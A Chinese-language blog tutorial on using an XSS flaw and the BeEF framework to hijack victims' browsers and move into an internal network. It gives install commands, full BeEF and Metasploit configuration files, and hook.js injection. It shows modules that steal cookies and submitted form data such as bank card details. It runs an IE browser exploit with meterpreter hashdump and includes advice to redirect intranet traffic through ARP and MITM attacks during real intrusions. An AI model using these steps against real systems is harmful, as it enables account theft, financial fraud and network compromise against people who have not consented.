內網滲透一:利用Xss漏洞進入內網

內網滲透一:利用Xss漏洞進入內網

 0x01:科普

Beef目前歐美最流行的WEB框架攻擊平臺,全稱:The Browser Exploitation Framework Project. Beef利用簡單的XSS漏洞,通過一段編寫好的JavaScript(hook.js)控制目標主機的瀏覽器,通過目標主機瀏覽器獲得該主機的詳細信息,並進一步掃描內網,配合metasploit絕對是內網滲透一大殺器。

 0x02安裝

Kali linux 系統默認未安裝beef,需要自行安裝。

?
1
2
apt-get update
apt-get install beef-xss

 

0x03入門

0x03.1啓動

主目錄:

/usr/share/beef-xss

?
1
2
cd /usr/share/beef-xss
./beef

 

t01287a4dec5cc49b91.png

t0178b9b1ea09d0e72b.png

127.0.0.1:3000/ui/pannel

賬號密碼

beef/beef

t01fac022bc1ad5e4aa.png

demos:Beef-Xss ip:3000/demos/butcher/index.html

測試兩臺主機網絡通信是否正常:

t011e6491eb9aafbd00.png

訪問Beef demo頁面

t01dc43ebf9a8fb188b.png

demo頁面嵌入了hook.js 訪問->中招

0x04掛馬:

在正常頁面添加script標籤,嵌入惡意腳本

 

t01df350613a720bcc7.png

在實際滲透中(需要一個公網的IP),如何讓受害者訪問我們嵌有hook.js的頁面呢?

 

網站反饋頁面,舉報頁面案例:用Xss平臺淪陷百度投訴中心後臺

 

當然,這位同學用的是Xss平臺,而不是beef,利用Beef的話,不僅能得到後臺管理員的Cookie,再配合Metasploit,還能以管理員主機瀏覽器當做跳板,進入公司內網。

Online Browersers->右擊->Use As Proxy

http://p5.qhimg.com/t0107cb7746a23e6d35.jpg

再配合ARP攻擊,MITM中間人攻擊,對內網內所有Http請求重定向基本...(這裏露出一個你懂的WS笑容)

Beef後臺檢測到有主機上線(感覺好像當年玩的灰鴿子、上興 =。= 囧)

t016bd52ff0f6e09d92.png

 通過瀏覽器,我們可以看到目標主機的很多信息:

瀏覽器信息:
名稱
版本
Browser UA String
Browser Platform
Windows size
插件基本信息:
Flash
VBS腳本
Web Sock
Quick Time
...
Api信息
Cookie
操作系統信息
Date 時間日期
硬件信息
Cpu (32/64)
屏幕分辨率
是否支持觸屏
 

And So On

用火狐瀏覽器測試

t0191ac372d53212d0d.png

t011909d221bef87b75.png

Beef功能模塊組件

http://p6.qhimg.com/t013e83e9938073faa9.jpg

常用功能/模塊

 

1 2 3 4 5 Browser:獲取瀏覽器信息 --Hooked Domain -----Get Cookie 獲取客戶端Cookie信息 執行一次命令在右邊顯示Cookie; -----Get From Value 獲取頁面提交的表單信息:截獲填寫的銀行卡信息、註冊頁面的用戶名密碼; -----Redirect Browser 瀏覽器重定向

 

t011ca9c6d662701d53.jpg

執行後,目標瀏覽器訪問任何網站都將會被重定向到bobao.360.cn,實際滲透的時候在內網實施ARP攻擊,將內網所有Http請求流量重定向到嵌入了Hook惡意腳本的頁面...(在這裏露出一個淫蕩的笑容)

Chrome Extensions:
Debug:測試Http請求
Exploits:利用瀏覽器漏洞進行攻擊
Host:獲取受害者主機信息
Mtasploit:結合Metasploit進行滲透,這個也是本文的重點。
Network:進行Doser、ping、DNS枚舉、端口掃描等等
Social Enhineering:社工模塊

0x05與Metasploit聯動

Beef配置文件

/usr/share/beef-xss

/config.yaml  

 

?
1
2
metasploit:
enable: false

改成 

?
1
2
metasploit:
enable: true
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
    version: '0.4.4.5-alpha'
    debug: false
    restrictions:
        # subnet of browser ip addresses that can hook to the framework
        permitted_hooking_subnet: "0.0.0.0/0"
        # subnet of browser ip addresses that can connect to the UI
        # permitted_ui_subnet: "127.0.0.1/32"
        permitted_ui_subnet: "0.0.0.0/0"
    http:
        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
        host: "0.0.0.0"
        port: "3000"
        # Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
        # It's not advised to decrease it with tons of hooked browsers (more than 50),
        # because it might impact performance. Also, enable WebSockets is generally better.
        xhr_poll_timeout: 5000
        # if running behind a nat set the public ip address here
        #public: ""
        #public_port: "" # port setting is experimental
        # DNS
        dns_host: "localhost"
        dns_port: 53
        panel_path: "/ui/panel"
        hook_file: "/hook.js"
        hook_session_name: "BEEFHOOK"
        session_cookie_name: "BEEFSESSION"
        # Allow one or multiple domains to access the RESTful API using CORS
        # For multiple domains use: "http://browserhacker.com, http://domain2.com"
        restful_api:
            allow_cors: false
            cors_allowed_domains: "http://browserhacker.com"
        # Prefer WebSockets over XHR-polling when possible.
        websocket:
          enable: false
          secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
          port: 61985 # WS: good success rate through proxies
          secure_port: 61986 # WSSecure
          ws_poll_timeout: 1000 # poll BeEF every second
        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
        web_server_imitation:
            enable: true
            type: "apache" #supported: apache, iis
        # Experimental HTTPS support for the hook / admin / all other Thin managed web services
        https:
            enable: false
            # In production environments, be sure to use a valid certificate signed for the value
            # used in beef.http.dns_host (the domain name of the server where you run BeEF)
            key: "beef_key.pem"
            cert: "beef_cert.pem"
    database:
        # For information on using other databases please read the
        # README.databases file
        # supported DBs: sqlite, mysql, postgres
        # NOTE: you must change the Gemfile adding a gem require line like:
        #   gem "dm-postgres-adapter"
        # or
        #   gem "dm-mysql-adapter"
        # if you want to switch drivers from sqlite to postgres (or mysql).
        # Finally, run a 'bundle install' command and start BeEF.
        driver: "sqlite"
        # db_file is only used for sqlite
        db_file: "db/beef.db"
        # db connection information is only used for mysql/postgres
        db_host: "localhost"
        db_port: 5432
        db_name: "beef"
        db_user: "beef"
        db_passwd: "beef123"
        db_encoding: "UTF-8"
    # Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
    credentials:
        user:   "beef"
        passwd: "beef"
    # Autorun modules as soon the browser is hooked.
    # NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
    autorun:
        enable: true
        # set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
        allow_user_notify: true
    crypto_default_value_length: 80
    # Enable client-side debugging
    client:
        debug: false
    # You may override default extension configuration parameters here
    extension:
        requester:
            enable: true
        proxy:
            enable: true
        metasploit:
            enable: true
        social_engineering:
            enable: true
        evasion:
            enable: false
        console:
             shell:
                enable: false
        ipec:
            enable: true
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Enable MSF by changing extension:metasploit:enable to true
# Then set msf_callback_host to be the public IP of your MSF server
#
# Ensure you load the xmlrpc interface in Metasploit
# msf > load msgrpc ServerHost=10.211.55.2 Pass=abc123 ServerType=Web
# Please note that the ServerHost parameter must have the same value of host and callback_host variables here below.
# Also always use the IP of your machine where MSF is listening.
beef:
    extension:
        metasploit:
            name: 'Metasploit'
            enable: true
            host: "172.16.244.129"
            port: 55552
            user: "msf"
            pass: "abc123"
            uri: '/api'
            ssl: false
            ssl_version: 'SSLv3'
            ssl_verify: true
            callback_host: "172.16.244.129"
            autopwn_url: "autopwn"
            auto_msfrpcd: false
            auto_msfrpcd_timeout: 120
            msf_path: [
              {os: 'osx', path: '/opt/local/msf/'},
              {os: 'livecd', path: '/opt/metasploit-framework/'},
              {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
              {os: 'bt5', path: '/opt/framework3/msf3/'},
              {os: 'backbox', path: '/opt/metasploit3/msf3/'},
              {os: 'win', path: 'c:\\metasploit-framework\\'},
              {os: 'custom', path: '/usr/share/metasploit-framework/'}
            ]

 

修改 host callback_host兩參數,改爲beef主機IP

重啓postgresq、metasploit、服務

service postgresql restart & service metasploit restart

 

t019e7cd4b2aa99d854.jpg

msfconsole #啓動Metasploit 1 load msgrpc ServerHost=172.16.244.129 Pass=abc123

 

t0169debf48fbc3942a.jpg

重啓Beef

t0190d651f583e54f3b.jpg

啓動beef這裏提示已經載入246個metasploit的EXP,MSF更新到最新版應該有五六百個EXP

進入Beef後臺(莫名成了245 =。=!)

t01d5aa2f783869c7f9.jpg

use exploit/windows/browser/ie_execcommand_uaf
show options
set srvhost 172.16.244.129
exploit/run

t01418a1cdbd8c6e6a1.jpg

t01560b8713b2414391.jpg

 

靶機被強行跳轉到被監聽的URL

t0165e1ff04e684fc88.jpg

MSF成功監聽到(但,貌似是虛擬機裝的XP把這個漏洞補了,所以沒產生session會話)

t01fcc6b6cff8f19f8c.jpg

如果XP沒有打補丁,即存在這個EXP針對的漏洞,這裏會產生一個session會話

session -i 1

t01645e28238ba42595.jpg

screenshot 截屏:截取遭釣魚主機的屏幕到本地文件

sysinfo 查看系統信息

hashdump dump目標主機的用戶Hash

發佈了26 篇原創文章 · 獲贊 82 · 訪問量 13萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章